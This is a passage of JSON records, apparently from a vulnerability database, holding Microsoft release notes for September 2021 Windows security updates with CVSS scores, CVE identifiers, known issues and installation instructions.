sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005613](<https://download.microsoft.com/download/f/5/d/f5d43c2c-eb5e-48d1-961f-367730a68333/5005613.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005613 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005613", "href": "https://support.microsoft.com/en-us/help/5005613", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:11", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nWSUS scan cab files will continue to be available for Windows Server 2008 SP2. If you have a subset of devices running this operating system without ESU, they might show as non-compliant in your patch management and compliance toolsets.\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue in which a driver might not install if the driver is signed with more than one code sign signatures.\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006715](<https://support.microsoft.com/help/5006715>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5007246](<https://support.microsoft.com/help/5007246>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006715](<https://support.microsoft.com/help/5006715>). If after installing [KB5006715](<https://support.microsoft.com/help/5006715>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the [Extended Security Update (ESU)](<https://www.microsoft.com/en-us/cloud-platform/extended-security-updates>) for on-premises versions of this OS must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information on ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, we strongly recommend that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005563](<https://support.microsoft.com/help/5005563>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005618>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005618](<https://download.microsoft.com/download/6/f/0/6f091713-20f2-44a1-b92f-1b97061a9ac9/5005618.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005618 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005618", "href": "https://support.microsoft.com/en-us/help/5005618", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:05", "description": "None\n**12/8/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1507 update history home page.\n\n## Highlights\n\n * Updates security for your Windows operating system. \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005569 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006675 \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of KB5005569 are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5007207. \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006675. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions. If you are using Windows Update, the latest SSU (KB5001399) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005569>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005569](<https://download.microsoft.com/download/0/2/c/02c04258-371f-4004-a331-b8c5e28ca23f/5005569.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005569 (OS Build 10240.19060)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005569", "href": "https://support.microsoft.com/en-us/help/5005569", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:08", "description": "None\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that causes Windows to generate many AppLocker or SmartLocker success events in the AppLocker EXE and DLL event channel. \n * Addresses an issue that prevents the ShellHWDetection service from starting on a Privileged Access Workstation (PAW) device and prevents you from managing BitLocker drive encryption.\n * Addresses an issue that causes PowerShell to create an infinite number of child directories. This issue occurs when you use the PowerShell **Move-Item** command to move a directory to one of its children. As a result, the volume fills up and the system stops responding. \nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the [Security Update Guide](<https://portal.msrc.microsoft.com/security-guidance>). \n\n### Windows 10 servicing stack update - 20348.220\n\nThis update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005575 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note **The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in KB5005619. \nAfter installing this or a later update, installation of printers using Internet Printing Protocol (IPP) might not complete successfully. Devices which had connected to and installed the printer prior to the installation of KB5005575 are unaffected and print operations to that printer will succeed as usual.**Note **IPP is not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006745. \nYou might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006745. \nUniversal Windows Platform (UWP) apps might not open on devices that have undergone a Windows device reset. This includes operations that were initiated using Mobile Device Management (MDM), such as Reset this PC, Push-button reset, and Autopilot Reset. UWP apps you downloaded from the Microsoft Store are not affected. Only a limited set of apps are affected, including:\n\n * App packages with framework dependencies\n * Apps that are provisioned for the device, not per user account.\nThe affected apps will fail to open without error messages or other observable symptoms. They must be re-installed to restore functionality.| This issue is addressed in KB5015879 for all releases starting September 14, 2021 and later. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005575>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Microsoft Server operating system-21H2**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File Information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005575](<https://download.microsoft.com/download/4/d/c/4dc44ff9-41a1-4312-a033-b55efa9879ab/5005575.csv>).For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 20348.220](<https://download.microsoft.com/download/2/3/2/2326ef05-5b2e-4027-89cc-c33f991578bb/SSU_version_20348_220.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005575 (OS Build 20348.230)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005575", "href": "https://support.microsoft.com/en-us/help/5005575", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:02", "description": "None\n**11/17/20**For information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 2004 update history [home page](<https://support.microsoft.com/en-us/help/4555932>). **Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard. \n\n## Highlights\n\n * Updates security for your Windows operating system. \n\n## Improvements and fixes\n\n**Note **To view the list of addressed issues, click or tap the OS name to expand the collapsible section.\n\n### \n\n__\n\nWindows 10, version 21H1\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 20H2\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 2004\n\n**Note: **This release also contains updates for Microsoft HoloLens (OS Build 19041.1164) released September 14, 2021. Microsoft will release an update directly to the Windows Update Client to improve Windows Update reliability on Microsoft HoloLens that have not updated to this most recent OS Build.\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that causes PowerShell to create an infinite number of child directories. This issue occurs when you use the PowerShell **Move-Item** command to move a directory to one of its children. As a result, the volume fills up and the system stops responding.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n### Windows 10 servicing stack update - 19041.1220, 19042.1220, and 19043.1220\n\n * This update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps. | To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab <destination path>**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* <destination path>**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing the June 21, 2021 (KB5003690) update, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of KB5005565 are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note **The printer connection methods described in this issue are not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5005611. \nAfter installing this or a later update, installation of printers using Internet Printing Protocol (IPP) might not complete successfully. Devices which had connected to and installed the printer prior to the installation of KB5005565 are unaffected and print operations to that printer will succeed as usual.**Note **IPP is not commonly used by devices designed for home use. Printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006738. \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones.**Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in KB5006670. \nUniversal Windows Platform (UWP) apps might not open on devices that have undergone a Windows device reset. This includes operations that were initiated using Mobile Device Management (MDM), such as Reset this PC, Push-button reset, and Autopilot Reset. UWP apps you downloaded from the Microsoft Store are not affected. Only a limited set of apps are affected, including:\n\n * App packages with framework dependencies\n * Apps that are provisioned for the device, not per user account.\nThe affected apps will fail to open without error messages or other observable symptoms. They must be re-installed to restore functionality.| This issue is addressed in KB5015878 for all releases starting June 21, 2021 and later. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:For Windows Server Update Services (WSUS) deployment or when installing the standalone package from Microsoft Update Catalog:If your devices do not have the May 11, 2021 update (KB5003173) or later LCU, you **must **install the special standalone August 10, 2021 SSU (KB5005260).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005565>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005565](<https://download.microsoft.com/download/f/b/e/fbe0a64d-2558-48c0-b206-ad7185db9226/5005565.csv>). For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 19041.1220, 19042.1220, and 19043.1220](<https://download.microsoft.com/download/5/8/e/58e627eb-d91a-470b-a67b-8cdfddd9c71c/SSU_version_19041_1220.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005565 (OS Builds 19041.1237, 19042.1237, and 19043.1237)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005565", "href": "https://support.microsoft.com/en-us/help/5005565", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:03", "description": "None\n**8/24/2021** \n**IMPORTANT **Starting in October 2021, there will no longer be optional, non-security releases (known as \"C\" releases) for Windows 10, version 1909. Only cumulative monthly security updates (known as the \"B\" or Update Tuesday release) will 